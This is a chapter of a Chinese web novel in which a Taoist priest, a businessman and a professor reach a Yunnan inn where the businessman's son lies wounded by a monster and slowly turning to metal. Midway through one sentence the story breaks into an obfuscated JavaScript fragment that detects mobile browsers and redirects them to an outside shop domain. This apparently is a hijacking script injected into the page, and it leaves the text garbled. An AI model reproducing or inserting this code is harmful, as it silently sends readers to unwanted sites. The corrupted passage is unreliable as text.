冷柏山闻言久久沉默,一代代前赴后继,生死不明,到头来也只是想要一个真相罢了,至于“井”到底在哪里?里面究竟藏着什么?是无尽的宝藏?通往西王母宫殿的入口?还是一个无解的诅咒?他的想象力有限,无法再设想更多,但跟宋浮尘短暂交流下来,他感觉自己似乎离那个答案越来越近了。 宋浮尘见自己一下子把气氛搞沉重了,连忙转移话题,问道:“行了,贫道说完了,那冷老板,你现在要不要说说满都哇?” 冷柏山抬眼看向宋浮尘,尴尬地扶了扶额:“其实……您之前说的那个有钱的傻子就是我,那个房子是我给满都哇修的。” “啊??” 宋浮尘也是没想到,顿时有种背后说人坏话被现场抓包的感觉,这下轮到他尴尬了。 他硬着头皮,讪讪地干笑着说:“那实在是没想到,冷老板就是那个大老板啊!现在再看,还是贫道浅薄了,那屋子选址建造都有水平!” 说着说着,他突然想到了什么,忙问:“所以,满都哇的孙子就是托付给你了?” 冷柏山点头:“嗯,就是我,他孙子现在就是我儿子,叫冷毅……” 这突如其来的剧情,让宋浮尘有点发懵:“所以,我们现在去云南,就是要去救他?” “嗯,说是受伤了……又在他住的地方拍到了犭颉的视频,您也看到了,我现在感觉很不妙!” “等会儿,等会儿,这个关系乱的……你先跟我说说,你跟满都哇到底怎么认识的?他能把孙子都托付给你!”宋浮尘脑子里有点混乱。 “跟您一样,也是在一个大雪天,他救了我。” 意想不到的共同之处。 “也是在青海这一带?” “对!96年在青海的鲸鱼湖!” 怎么又是鲸鱼湖?!宋浮尘莫名心里一突,觉着这个湖指定有什么说法! “那一年,我,我老婆,我弟弟和他老婆,一共四个人,一起在青海出了事,最后只有我一个人活了下来,不!准确地说,我弟弟也活了下来,只是以一种……不人不鬼的模样。” 冷柏山说着转头看向宋浮尘,冷静的眼神之下,涌动着悲怆无力的情绪。 他平静地讲述自己如何在暴风雪中被救活了下来,半年后,又如何在鲸鱼湖边发现了身体已经异化的弟弟。 一个是王老板的老婆,一个是冷柏山的弟弟,看来不是个例。 宋浮尘觉出了问题的严重性,皱起眉头问道:“所以,饭桌上给贫道看得那片鳞,就是从你弟弟身上掉下来的?他现在的状况跟王老板老婆的状况一样吗?” “是的,从他身上掉下来的!他现在的状况跟那个女人不能说完全一下,毕竟他还没彻底变成犭颉的样子,还稍微有点人形……” 宋浮尘若有所思地捋了捋花白的胡子:“所以你最开始说你们冷家遇到了麻烦,就是指你弟弟这事儿吗?” “嗯,有这一部分的原因,但也不全是,冷家的事很复杂,最早可以追溯到明末清初了……” 两人正聊得投入,车缓缓停下来,扬声器里突然传出前排司机的声音。 “老板,大学路就要到了。” 一听这声音,对话暂停,后排的两人顿时安静下来。 冷柏山按着扶手上的通话键,低声说:“知道了!” 大学路?看来是到了那个李教授的地盘了,宋浮尘好奇地往窗外看了一眼,虽然已经凌晨,道路一旁的美食街上还是灯火通明,人流如织,年轻的面孔三三俩俩地聚集在美食摊上,在暖黄的灯光下谈笑风生,青春气息扑面而来。 冷柏山一时间看得出了神,看着这些年轻人,心中难免慨叹时光飞逝,几十年过眼烟云,自己已然到了垂暮之年,那些无忧无虑的青春的回忆,早已在一遍遍的回想中褪色,最后被往事的风吹走了,不再留下丝毫。 车停在路口等红灯,等再启动时,冷柏山又按下按键,问司机:“联系王教授了吗?” “联系了,他说马上过来!” 绿灯通行后,车又往前开了一两百米,随即靠边停下,等了大约十来分钟,斜对面的路口出现一个五六十岁,头发剪的极短,体型微胖戴着圆框眼镜的男人,他提着公文包急匆匆往这边跑过来,跑得满头热汗,身上的衬衫胸前和腋下都汗湿了。 冷柏山见男人过来了,赶忙打开车门下车,朝他招招手,男人一边掏出手绢擦汗,一边小跑着过来,见到冷柏山也没有寒暄客套,迫不及待就钻进了车里。 车里空调很足,男人撑着膝盖大口喘气,身上大汗淋漓,犹如刚从热锅里逃出来的蚂蚁,遇到阵阵冷气,终于活了过来。 宋浮尘上下打量起这个男人,心想他应该就是冷柏山口中的李教授了,男人似乎也感受到了宋浮尘的目光,抬起头来,就看到一个发髻蓬乱、衣衫不整的疯道士。 他眼神里没有吃惊,也没有意外,淡然中带着一点好奇,他用手绢擦掉额头滚落的粗汗,冲着宋浮尘点了点头,算是打招呼,宋浮尘也紧跟着冲他点了点头。 冷柏山赶忙正式介绍两人:“李教授,这是宋浮尘道长,我之前跟你说过的那个神人。” 说完,又忙着向宋浮尘介绍:“宋道长,这是李安良教授,荆水大学生物系的教授。” 车里站不直,李安良猫着腰,将公文包夹在腋下,手绢也换了个手拿着,主动朝宋浮尘伸出右手,宋浮尘赶紧起身,也猫着腰伸手回握了回去,李安良微微一笑,五官的肉都堆挤到一起陷在眼镜的两边,看起来格外怪异,他一边跟宋浮尘握手,一边边说着场面话。 “早就听闻您的大名了,今天一见果然不同凡响啊,今后还有很多科学无法抵达的地方需要向您讨教呢!” 这李安良脸上虽然带着笑,看起来热络非常,但身上的冷漠疏离感让人难以靠近,宋浮尘明知对方只是客套,并非出自真心,但还是出于成年人的体面,硬着头皮回道:“哪里,哪里,贫道就是一个没名没姓的老道士,听冷老板说您是生物系的大佬,跟我们这种山野村夫可不一样,有文化,有见识,贫道要跟您学才是!” 两人一来一往,相互恭维,末了不太自然地相视一笑,然后就相安无事地各干各事了。 李安良猫着腰快速穿过前排座位,到后排一屁股坐下,就跟自己家似的,驾轻就熟地放平座椅,舒舒服服躺着了。 宋浮尘也重新窝回座位里,他看着手里再度空了的酒杯,直发愣,这次冷柏山眼疾手快,立马给他续上了一杯,宋浮尘咧着嘴喝了一口,然后闭着眼慢慢感受风味在嘴里回荡,末了忍不住啧啧感叹,就好像喝的不是红酒,而是仙露琼浆一般。 短暂寒暄过后,迎来了长时间的安静,这是属于成年人的默契。大家都心知肚明,社会生活里的人情世故,多的是言不由衷,没多少真诚的成分,该放的时候要放,该收的时候也要收。 宋浮尘虽然一把年纪,久居深山,但在外头各行各业都有不少朋友,耳濡目染,也是多少懂这些规矩的。 每当这种时候,他总忍不住在心里感叹:还是窝在他的破道观里舒坦啊!每天面对群山丛林,山风雾霭,简简单单、肆意自在! 车再次发动,走了一阵就上了高速。 荆水这地方发展相对滞后,没有高铁站,也没有机场,他们得开车到江城的机场,走高速得几个小时,冷柏山提醒宋浮尘可以先睡一会儿,并贴心地帮他放平了座椅。 **** 两个小时后,飞机稳稳落地昆明长水机场。 几人一出接机口,就有个黑衣男人迎上来,冲着冷柏山叫了声“老板”。 冷柏山点点头,朝男人扬扬手,男人便心领神会,赶忙走在前面带路。 很快,他们又坐上了开往抚仙湖的车,宋浮尘心疼地摸了一把自己的老腚,这一趟,汽车转飞机,飞机又转汽车,坐了一路,它真是遭老罪了。 好在,车刚开了一会儿,所有人都熬不住了,歪倒在椅子里呼呼大睡起来,也就没人还记挂着屁股受累这事儿了。 宋浮尘再睁眼的时候,天已经大亮了,司机小声提醒冷柏山,村子就在不远处了。 远远看过去,村子盘踞在湖岸一角,上空乌云密布,四下里像是笼罩在一团黑气之中,透着一股子不详的气息。 冷柏山让司机在路边找了个僻静的地方停车,然后打了一个电话,对方接得很快。 没有惯常的问候,冷柏山冷着声音,径直说:“嗯,到了,出来吧!” 说完就挂了电话。 宋浮尘看了看四周,问道:“我们到了?” “嗯,村子就在前面了!”冷柏山看着窗外,下巴往外指了指,“不过不知道现在里头什么情况,先等等吧,里面会有人出来接应我们,搞清楚情况再进去稳妥点。” 宋浮尘点点头,心想也是,之前的视频里那只犭颉发怒发狂的样子还历历在目,这会儿还不知道里头怎么回事呢,贸然进去确实不安全。 两人说了一会儿话,就各自侧向一边,看着窗外的景色发呆,晨间的风吹得四下里的树枝左晃右摆,这一片的天空还是暗沉沉的,不知名的鸟群低低地飞过,偶尔哑叫一声,看样子,马上就要下雨了。 等了约莫五六分钟,一个黑衣小伙子不知道突然从哪里窜出来,敲了敲宋浮尘一侧的车窗,把他吓了一跳,赶忙扭头看冷柏山,冷柏山没说话,把宋浮尘那侧的车窗往下降了一条狭长的缝,探头对着车外的小伙子说:“来我这边,上车说话。” 小伙子点点头,赶忙从车头绕到另一侧,钻进了车里。 车门刚关上,冷柏山就劈头盖脸一顿骂:“你们是怎么办事的!怎么会让冷毅出事?他现在到底什么情况?” 小伙子吓得耷拉着脑袋,大气都不敢出,嘴巴嗫嗫嚅嚅了半天,没说出一句话。 一见小伙子唯唯诺诺的样子,冷柏山更是气不打一处来,厉声道:“你倒是说话啊?哑巴了?抬起头来,好好说话!” 小伙子这才战战兢兢地抬起头来,刚想开口说话,又瞥到一旁的宋浮尘和后座的李安良,有所顾忌,话一下子就哽在喉咙里,迟迟没有出声。 冷柏山看出了小伙子心里的担忧,语气稍缓:“没事,宋道长和李教授都是自己人,你说吧,没事!” 小伙儿得了冷柏山的首肯,这才放心开口:“昨晚那怪物突然出现,老大安排我们去追,我们追了很久,但那怪物跑得实在太快了,我们根本跟不上,跟了一段就跟丢了,我们真不知道老大也去追了,等我们早上回来,才……才知道老大出事了……” 小伙儿说到后来都带了哭腔,身子微微发颤,他抿紧嘴巴,脑袋垂得低低的。 冷柏山沉默良久,抱着胳膊躺在椅子里,脸色难看得很,等他再开口时,语气却出奇地平静:“客栈里现在是什么情况?那东西呢?” “客栈里暂时是风平浪静了,花姐安排了不少人手在打扫整理,今天白天应该就能恢复正常了,至于那怪物,躲在房顶的兄弟说是看到他们抓住活的了,一群人抬着那东西到了客栈的后院,之后就没见出来过。” 冷柏山点点头,又问:“冷毅现在情况怎么样?” 小伙子犹豫地看了一眼冷柏山,接着又说:“花姐的说法是他被那怪物伤了,伤口有点严重,已经请了医生治疗,但是情况不太理想,她说已经联系您了,想等您过去再聊。” 冷柏山低声嗯了一声,表示自己知道。 冷毅被犭颉伤了,会有什么后果呢?会像骆家的那个女人一样,身体一步步异化,变成犭颉的模样吗?就像《生化危机》电影里一样,被丧尸怪物咬伤,感染病毒,然后也变成丧尸怪物的模样?太过惊悚的直观联想,让冷柏山不禁毛骨悚然,脊背发凉。 几滴硕大的雨点子从天而降,噼里啪啦打在车窗上,冷柏山回过神来,让小伙子先回客栈,他们随后就过去找刁金花好好聊聊。 小伙子刚走不久,雨就大起来,铺天盖地、噼里啪啦,一时之间雨雾濛濛,白茫茫一片,外头雨声闹腾,车里李安良的鼾声此起彼伏,像打雷似的,一阵一阵,倒是跟雨声契合上了。 李安良自从上车后就没醒来过,一路酣睡,睡得那叫一个昏天暗地,连宋浮尘都不禁暗暗佩服,这人……睡眠质量可真好,这要是被人卖了都不知道! *** 雨越下越大,一点没有要停的意思,雨刷疯狂来回摆动也赶不上雨水倾泻而下的速度,视线实在不太好,车只能缓慢地沿着村子里狭窄的石板路往里走,按照导航指示,再爬个坡就到客栈了,司机小心翼翼往前开,好不容易爬坡爬到一半,眼见就要到了,迎面突然拐出来一辆车。 宋浮尘眼尖一下子就看见了,忙冲着司机喊:“前头有车,小心!” 司机立马慢下速度,那辆车一点点靠近,等到了近前了,这才看清,是辆警车。 宋浮尘看了看车,又看了看车出来的方向,一脸担忧地看向冷柏山,自问自答:“这警车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367187|199037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会是从那客栈出来的吧?有人报警了?也是,昨天晚上闹那么大动静,估计不少人都看见了!” 这事儿要是警方介入了,可就不好办了啊! 冷柏山虽然有些担心,但没说话,转念一想,猫有猫道,狗有狗道,刁家能盘踞一方这么多年,多少是有些手段的,既然能在他们的地盘上演这一出瓮中捉犭颉的戏码,那就指定会有善后安排,这么一想,心下松弛不少。 路实在太窄,没办法会车,司机赶忙往后退,想着先退到坡下,让出个道来,一番折腾后,警车终于顺利通过,走的时候还鸣笛致谢了一下。 宋浮尘趴在窗口乐呵呵地看着,末了还不忘称赞一句:“还挺懂礼貌!” 车终于吭哧吭哧开到客栈门口,一群男人正围聚在大门口,也不知道在干什么,听到车响,齐齐回头看过来,里头一个年轻男人十分有眼力见,车还没停稳,就从门边的雨伞框里拿了几把伞大踏步迎了出来,其他男人见状,这才小跑着跟过去帮忙打伞。 小年轻笑容满面地站在车旁撑伞,随后毕恭毕敬地拉开车门,下一秒,发髻蓬乱的疯道士宋浮尘从车里钻出来,出乎意料的人物造型,小年轻有些傻眼,愣了好几秒,不太确定地询问:“您是……冷……老板?” 宋浮尘连连否认,脑袋摇得像拨浪鼓,赶忙往车里指了指,示意里头坐着的才是冷柏山,小年轻猫腰往车里看了一眼,这才恍然一笑,眼神迅速向身后的男人示意了一下,男人赶忙上前帮宋浮尘撑伞,小年轻则回身在车旁等着冷柏山下车。 冷柏山摇醒了后排的李安良,两人一前一后下了车,外头雨势未减,虽然头顶有伞,大雨还是溅湿了肩膀和裤腿,小年轻笑呵呵龇着一口白牙,一边自我介绍,一边快步把他们往客栈里引。 “我叫小豪,各位有什么需要就找我!” 客栈门口,厚实的木门上硕大的豁洞格外打眼,来访的几人都忍不住多看了几眼,地上还搁着各种维修的工具和木料。 雨太大,院子里精心设计的园艺布景都看不太清,不过还是约莫能看出乱七八糟一片狼藉的样子,近处的枝枝桠桠被雨水压弯了腰,四处弥漫着植物融合泥土的清爽气息,细闻,还有一种极淡的似有若无的腥臭味,连大雨都还没冲刷干净。 宋浮尘深吸一口,莫名觉得这味儿有些熟悉,于是像只狗似的,皱着鼻子,嗅来嗅去,闻到最后脑瓜子里灵光一闪,这不就是那年在茅坑后面的地窖里闻到的臭味吗?相似度没有100%,也至少有98%了,那玩意儿果然就是犭颉了。 小豪带着他们快步走进客栈大厅,雨暂时得以隔绝,帮忙打伞的男人们瞬间作鸟兽散,打着伞小跑着又往院门的方向去了,宋浮尘几人下意识视线追随,直到那些人消失在滂沱大雨之中。 外头的雨似乎越下越大,庭院里成了白茫茫的一片,几人盯着眼前景象,都有片刻的出神。 直到小豪给他们递过来干毛巾,让他们擦擦被淋湿的地方,他们才回过神来,四下里扫视了一圈。 本以为客栈出了事,应该不会有客人了,却不想在沙发区看见了几个年轻人,三男一女,看起来都精神不佳,个个眼下乌青一片,疲累的脸上写满了忧心忡忡。 宋浮尘好奇地打量几人,发现他们身边还放着大大小小的行李包,看起来应该是游客?不过昨晚客栈里不是出事了吗?怎么还会有游客? 不对!宋浮尘脑中画面一闪,他突然意识到这几个人很眼熟,细想一下,这四个不就是昨晚被犭颉追杀的路人吗?那视频虽然不是很清晰,加之又是晚上,但宋浮尘很肯定,就是这四个人。 得出这个结论后,宋浮尘凑到冷柏山身边,眼神往沙发区指了指,冷柏山其实早就注意到了那几个年轻人,不过刚开始还没什么觉察,但经过宋浮尘这番眼神指点,很快就明白过来。 原来是他们,也算是福大命大了。 正想着,小豪快步走过来,冲着冷柏山说:“您跟我进去吧!” 说着掌心朝上往后间指了指,示意冷柏山往里走,冷柏山愣了两秒才点了点头,迈步就往里走,宋浮尘和李安良见状,二话不说立马跟上,还没走两步,就被小豪伸手拦住了去路。 “抱歉了两位,花姐只说让冷老板一个人进去。” “啊?” 懂了,私人局,外人不便参与。 宋浮尘和李安良虽有些不满,但毕竟是人家的地盘,互看了一眼,都识趣地停下了脚步。 “二位先在这里稍等一下,我一会儿就回来带你们去房间。” 宋浮尘礼貌性地笑笑:“没事儿,你们忙,你们忙。” 他说着看了一眼站在前头,正回头看他们的冷柏山,两人四目相对,冷柏山瞥了一眼那几个年轻人,宋浮尘立马心领神会,知道他是让自己去探探这几个年轻人的底,宋浮尘冲着他点点头,冷柏山这才回身跟着小豪往里走。 很快,他们就消失在大厅的转角,只留下宋浮尘和李安良在待在原地,半晌相顾无言,两人也是初见,实在不熟,一时也找不到什么话题,为了应对当下的尴尬,两人只能各自找点事儿干。 宋浮尘心里还记挂着冷柏山临走前的交代,准备去跟沙发区的四个年轻人聊聊,正想着怎么切入话题,脑中灵光一闪,一个绝妙的主意突然涌上心头,于是晃晃悠悠走到沙发区,一屁股坐在几个年轻人旁边,主动搭起了话。 “你们这几个青年,来这里旅游的?” 几个年轻人一看他那副疯癫老道的模样,顿时心生警惕,都没搭理。 宋浮尘倒是心态挺好,贼兮兮笑了笑,又自顾自装模作样地说:“哎呀,贫道是看你们一个个印堂发黑,不吉,不吉,实在不吉……” 说着还故意啧啧摇头,做出一副愁云惨淡的样子。 这年头骗子太多,几个年轻人自然也见识过不少,根本不为所动,觉着这疯道士故弄玄虚、危言耸听,估摸着又是什么骗钱的套路罢了,根本不想搭理。 宋浮尘看出了他们的心思,淡淡一笑:“你们昨晚是不是遇到了一凶骇之物,差点送了命?” 说完,又补了一句:“是不是那凶物专找你们,不找别人?” 宋浮尘是看过那段视频的,自然知道这几个年轻人遭遇了什么,但几个年轻人并不知道这一出啊,忽然听他这么一说,心里咯噔一下,当即跟见了鬼似的,一个个瞪大了眼睛,心里不禁暗暗称奇。 心想灵啊,真灵啊!他怎么知道他们昨晚被怪物追杀,差点死了?又是怎么知道那怪物专追他们的?知道的这么细节,几个人对视了一眼,都这疯道士可能真有些本事! 几人心里这样想着,面上立刻就变得恭敬起来,吴沅一脸吃惊地问:“您怎么知道?” 宋浮尘捋了捋蓬乱的胡须,沉默片刻,故作高深地说:“这嘛,天机不可泄露……贫道刚进这村的时候,就遥遥看见一股子邪气直冲天宇,现在再看各位……” 他一边欲言又止地啧啧叹息了两声,一边摇头,表情凝重,搞得几人顿时心绪不宁起来,赶忙追问:“这……怎么说?” “这样,要不你们详细跟贫道说说昨天发生的事,贫道看看有没有什么解法……”宋浮尘一脸狡黠,试探着说。 一听这话,几个年轻人相互望望,都非常默契地不说话了,准确地说是不敢说话了,昨晚见到种种景象仿佛还在眼前,一切都太过离奇、惊悚,几人现在想来都下意识脊背一紧,他们敏锐地察觉这事儿不简单,这客栈也不简单,身在异乡为了自身安全,这事儿万万不可到处瞎说。 见几个年轻人不吱声,宋浮尘便又开口说:“还好你们没走,这事儿你们要是没厘清就走了,途中必将涉险,那可真就凶多吉少了……” 一听宋浮尘这么说,吴沅几人的汗毛登时都要立起来了。 “啊?这……咋办啊……” 宋浮尘捋了捋胡子,不紧不慢地说:“若想避凶化吉,贫道自有妙法……要不要给你们做做法?” 宋浮尘的一番话,听得吴沅他们几人坐立难安,领头的吴沅更是忧心忡忡,他心想不会真是运交华盖,天意冥冥吧!怎么都让他们赶上了,眼下看似危机解决,谁知道这“华盖”的运势会不会继续影响,要是再遇上什么劫数,可能就没有这么好的运气能躲过一劫了。 一想到这,吴沅的后背就隐隐发凉,他这人惜命啊,还有什么能比生命安全更重要?算了,有些东西宁可信其有不可信其无,这道士看起来疯,要是真有本事呢? 见吴沅没说话,其他的几个年轻人赶忙眼神询问他该怎么办,吴沅想了会儿,问道:“要怎么做?” “贫道自有安排!” “那,费用怎么算?” 宋浮尘神秘一笑,熟练地伸出五根手指。 吴沅大喜:“50?” 宋浮尘云淡风轻,眉头一挑:“500!” “一起500?” “一个人500!可以微信支付宝。”宋浮尘说着就麻溜地掏出了手机,准备收款。 “啊?一个人500,这也太贵了,能不能便宜点。”小悦悦尝试砍价。 “不讲价,我这么多年一直就是这个价,你们要是觉得贵就算了!” “唉,别别别啊……” 这边宋浮尘和几个年轻人还在讨价还价,那边李安良百无聊赖,正背着手在大厅里来回踱步,一会儿看看这儿,一会儿看看那儿,看着看着目光不自觉地就停留在一副版画上,他仰头扶着眼镜细看了半天,末了喃喃自语。 “这是……泗水捞鼎?” 这里怎么也会放这么一幅画? **** 34. 冷毅受伤 这个李安良虽然是搞生物研究的,但是对异闻传说、历史遗迹也非常感兴趣,他曾经在好几个地方看到过“泗水捞鼎”的画。 一处是在徐州看到的“泗水捞鼎”汉代画像石,他还记得那画像上部刻有西王母的仙界,中间刻有水榭人物、胡人射鹿和捞鼎的人间场面,下部刻有鸟和鱼。 还有一处,是在冷柏山别墅二楼的一间屋子里,据冷柏山自己介绍,那是荆水特色的漆画,而画中的内容正是“泗水捞鼎”,而且画下靠墙还摆着一张雕花八仙长条供桌,中间放置着香炉,逢年过节还要祭祀供奉,李安良不懂为何有这些讲究,冷柏山却也只是笑笑,不肯多说。 两幅画的内容几乎一模一样,唯一的不同就是徐州的那幅是古物,而冷柏山书房里的那幅画是现代艺术创作,而眼下客栈墙上这幅版画,画的也是泗水捞鼎。 据他所知,泗水捞鼎的画作并不常见,大多出自汉代墓葬的汉画像石,有那个时代政治宣传的需要,也有镇墓、辟邪、升仙,构建死后世界的意图。 只是到了现今社会,墙上挂泗水捞鼎的画,着实令人费解,难道这画还有什么更深层次的含义? 他拧眉苦思冥想,眼睛始终没有离开过那幅画。 那一边,几个年轻人跟宋浮尘周旋了好半天,但他油盐不进,咬死了价就是不松口,一步也不让。 几人实在没招,只能眼巴巴看向吴沅,眼神仿佛在说:“老板,我们真是尽力了,但这疯道士死活不肯让价啊,没办法,你就老老实实付钱吧!” 吴沅本来也没想着还价,这点钱对他来说洒洒水啦,但万万没想到,几个员工竟然破天荒主动想着帮他省钱,简直可歌可泣,他顿时心头一暖,大手一挥,表示没事儿,我来!哥别的没有,就是钱多!之后熟练地掏出手机扫码付款。 “支付宝到账两千元。” 手机到账的提示音响起,听起来格外悦耳,宋浮尘心情大好,他这人其实不怎么爱财,这些年他云游四海,结识了不少各行各业的朋友,里头有不少非富即贵的主儿,他要想挣钱,有的是门道,但他这人不喜这些俗世累赘,再加上常年在深山老林待着,对钱没什么大的欲望,这方面倒是颇有些道家人的风骨。 俗话都说:钱乃身外之物,生不带来,死不带去。但俗话又说:钱不是万能的,但没钱也是万万不能的。 回归日常,大钱不需要,小钱还是得有!他走南闯北总需要些钱来傍身,道观里日常消耗的米面粮油也都需要花钱来买,这些虽然都花不了几个钱,但他也懂一分钱能难倒英雄汉的道理,紧要关头,手里总要有点钱才安心。 久而久之,他这人对挣大钱无动于衷,但对挣小钱却乐此不疲,但凡能挣钱的机会绝不放过,而且他自认开价公平,买家绝对物超所值。 眼下他凭借自己的专业知识+三寸不烂之舌,又小进账一笔,心里甚是欣喜,想着这笔钱到手,又够道观买米面粮油过好一阵子了,妙哉!妙哉! 还没高兴一会儿,几个年轻人就迫不及待地追问:“道长,钱付了,您看看什么时候开始?能抓紧时间吗?” 还没搞清楚犭颉为什么这追他们和他们的底细之前,宋浮尘打算先得稳住他们。 前面的铺垫已经足够,他便故作高深地一边掐指看天,一边慢悠悠说道:“贫道观天象察地气,这几日天干地支相冲,岁煞临门,实为不太平之兆啊,最好再等几天……” 怕几人不愿意答应,又接着加码:“不好好安排场法事,去去身上的邪气和晦气,你们要是就这么回去,说不定会连累家里人……” 宋浮尘这话虽有些威胁恐吓的意味,但也并不全是信口胡诌,毕竟过往的人和事只要跟犭颉有丝丝缕缕联系的,似乎结果都不太好。 王老板的老婆,也就是骆晓川的妈妈从人变成犭颉,冷柏山的弟弟也差不多就要变成犭颉了,他儿子冷毅,被犭颉伤了,还不知道会变成什么样子,还有满都哇所在的村子,也就是宋浮尘最早发现犭颉的地方,如今也已经破落消亡…… 这话一说果然管用,几个年轻人吓得连连点头,表示同意,反正董教练那案子似乎还有疑点,警察那边还在着手调查,警察今早过来的意思也是让他们先别走,再呆几天。 “行,那就道长您这边看着安排吧!” 问题解决的比想象中容易得多,宋浮尘心中顿时一宽,又跟几人闲聊了几句,知道这群人是搞什么视频自媒体的,说简单点就是专门拍视频挣钱的,他本来对手机就一知半解,对网络世界更是一无所知,他根本搞不懂拍视频咋还能挣钱?不过不懂就不懂吧,反正现在年轻人的世界他不懂的东西太多了。 后来聊着聊着,几个年轻人困得眼皮都快耷拉下来了,宋浮尘实在看不下去,就劝他们先回房休息,反正还要在这里待几天,几个年轻人这才拎着包摇摇晃晃地回房了。 几个年轻人一走,大厅里迅速安静下来,宋浮尘无所事事,注意力一下就回到了此时正聚精会神看画的李安良身上,只见他扶着眼镜,撅着腚,神情专注地看着墙上的画,半天都不动弹换地方,宋浮尘一时好奇,也凑了过去。 要说这画倒是不稀奇,云南当地特色的版画,宋浮尘也是见过不少的,只是上头画的内容有点意思,他紧皱着眉头,猫在李安良身后,盯着画仔仔细细看了一会儿,突然脑中灵光一闪。 “这不是泗水捞鼎吗?” 李安良猝不及防,先是被凑过来的宋浮尘吓了一跳,等反应过来,又被宋浮尘说出的内容惊到了,他一脸不敢置信地看宋浮尘。 “你知道?” 宋浮尘一脸得意:“贫道全国各地走得多了,多少都见过一些,这有什么稀奇。” 李安良很意外,他原本以为这宋浮尘疯疯癫癫,多半是个徒有虚名的江湖术士,没想到还颇有点见识,顿时有点另眼相看,这泗水捞鼎,如果不是对古代史和汉画像石极度痴迷,多半不会了解这么细枝末节的事,不过转念一想,其实也不意外,能成为冷柏山的座上宾,多少是很有点本事的,果然,人不可貌相啊。 “只是这画为什么要放在这里?有什么讲究吗?”宋浮尘往前走了一步,很是不解地盯着画看了又看。 “我也是觉得奇怪!”李安良的眼睛又重新盯回画上。 他还记得一位美院的教授给他分析过不少古墓中有泗水捞鼎古画的原因——古时鸟为“阳”的特性,具有“生”的象征寓意,鱼具有生命形态转化的功能,即灵魂的复苏和再生,代表死。而“捞鼎”,通过“鼎”这种具像化的物体,在幽明两界的一出一落,解释了生命的复苏与再生,这在汉代,是一种相当普遍的民间信仰观念。 对汉代人来说,死亡不是生命的终结,而是复生为仙人,认为死亡只不过是灵魂离开肉身而已,是新生命的开始。 **** 小豪快步走在前面,冷柏山紧跟在后,两人径直朝着后院的二层小楼走去,等走到门前,小豪先敲了敲门,等了两三秒,才推门进去。 冷柏山紧随其后,跟了进去,刚一进门,就撞上了满屋子注视的目光,冷柏山的视线快速扫视了人群一圈,最后定格在罗汉塌上侧卧的老妇人身上。 冷柏山定睛看了看,心中便有了数,这应该就是刁家的管事人,刁金花。 刁金花见冷柏山进来了,立马起身下地,满脸堆笑地迎了上去。小豪则非常有眼色地退到一边,悄默声地从屋里退了出来,顺势地关上了大门。 “哟,冷兄弟终于来了!” 冷柏山并不想跟她强装客套,直接开门见山:“冷毅呢?” 刁金花敛了笑意,沉默了两秒,朝后看了村医刁安邦一眼,刁安邦心领神会,起身朝冷柏山伸手示意,往一侧的房间指了指。 “这边请!” 冷柏山看看刁安邦,又看看刁金花,没说话,大跨步跟着走进了一侧的房间,刁金花吐出一口气,定了定神,也快步跟了过去。 屋子里光线有点暗,一进去,就感觉周遭的气息都不一样了,呼吸间只觉空气沉闷滞重,微微有些透不过气。 这屋子之前应该是用来供奉佛像的,经年累月拜佛烧香,线香味很浓重,仿佛置身庙宇,但深嗅之下,又能闻到一缕缕令人作呕的腥臭味,密密匝匝,极具攻击性,让人忍不住皱眉屏息。 冷柏山却对那味道很是熟悉,在别墅地下室里,冷仲明身上散发出来的就是这种味道。 屋子的空间不太大,紧里头靠墙摆着一张简易的病床,医院同款,冷毅直挺挺地躺在上面,床旁边还坐着一个年轻的姑娘,身姿纤瘦窈窕,剪着个性的公主切发型,见有人进来,赶忙站起身来。 刁金花跟着冷柏山走进屋里,瞥了一眼姑娘,轻声吩咐道:“刁濯,你先出去,一会儿有事再叫你。” 刁濯点点头,往外走,目光不动声色,却暗暗将冷柏山打量了一遍,他穿一身剪裁合身的蓝墨色中式套装,布料垂顺熨贴,显得矜贵有品,虽然能看出疲态,但走动间仍然身姿挺拔,气场十足,他板着脸,在昏暗的灯光下,脸上的阴影和纹路更添了几分不怒自威的气场。 只见他刚跨进门时,看到眼前的景象像是有些不确定,脚步轻慢虚浮,紧皱着眉头望向病床,等看清病床上躺着的人后,愣了一秒,脚下随之一顿,紧接着脚步不觉加快,连足音也变得沉重起来。 刁濯临出门时,看到他神色凝重地走到床边,在椅子上坐了下来。 屋里一时间安静极了,静得仿佛能听到空气流动的声音,冷柏山看着床上昏迷不醒、面色苍白的冷毅,面色虽然很冷静,但胸腔起伏剧烈,脑子里嗡嗡直响,像是钻进去一只不停叫唤的知了。 虽然在来得路上,他已经反复做了心理建设,但视线停在冷毅伤口上的时候,还是下意识倒吸了一口凉气。 受伤的胳膊悬吊在床边,僵直地伸着,上面皮肤的颜色已经变青,呈现出龟裂的纹路来,一道狭长的伤口敞开着,能看见细丝一样的东西在内里翻腾搅动。 见到这番景象,冷柏山瞬间就想起了宋浮尘的讲述,骆家那个女人脚底的伤口也是这样,有细丝一样的东西在伤口里游荡,这之后肢体逐步异化,再然后一步步变成犭颉的样子。 他紧张地咽了咽口水,紧咬着腮帮子,颤抖着手指去碰了碰冷毅那条受伤的胳膊。 很奇怪的触感,没有一点皮肤的弹性与质感,摸上去粗糙、坚硬、冰冷,就像在摸一块的凹凸不平的金属,指腹触到的一瞬,他就像触电一般迅速弹开。 冷柏山愕然地盯着冷毅的胳膊,像是不敢置信,迟疑片刻,又伸出手指轻弹一下,叮叮叮,金属的脆响声。 这声音…… 他身子陡然一僵,脑子里轰然炸开,这不正是宋浮尘口中金属的碰撞声吗? 恐惧感瞬间像潮水袭来,他绝望地看着冷毅,看着看着,他突然蓦地站起身来,慌乱地扯开冷毅的衣服查看,身上很凉,跟死人没什么两样,没一点热乎气,好在胸腔微微起伏,证明他还活着,身体各处也还没有开始异变,他稍稍松了一口。 至少还有希望! 刁金花在一旁紧盯着冷柏山的一举一动,看出了他的担忧,赶忙说:“冷兄弟放心!冷毅胳膊最上方,我们用绳子系紧了,别的地方暂时还没受影响。” 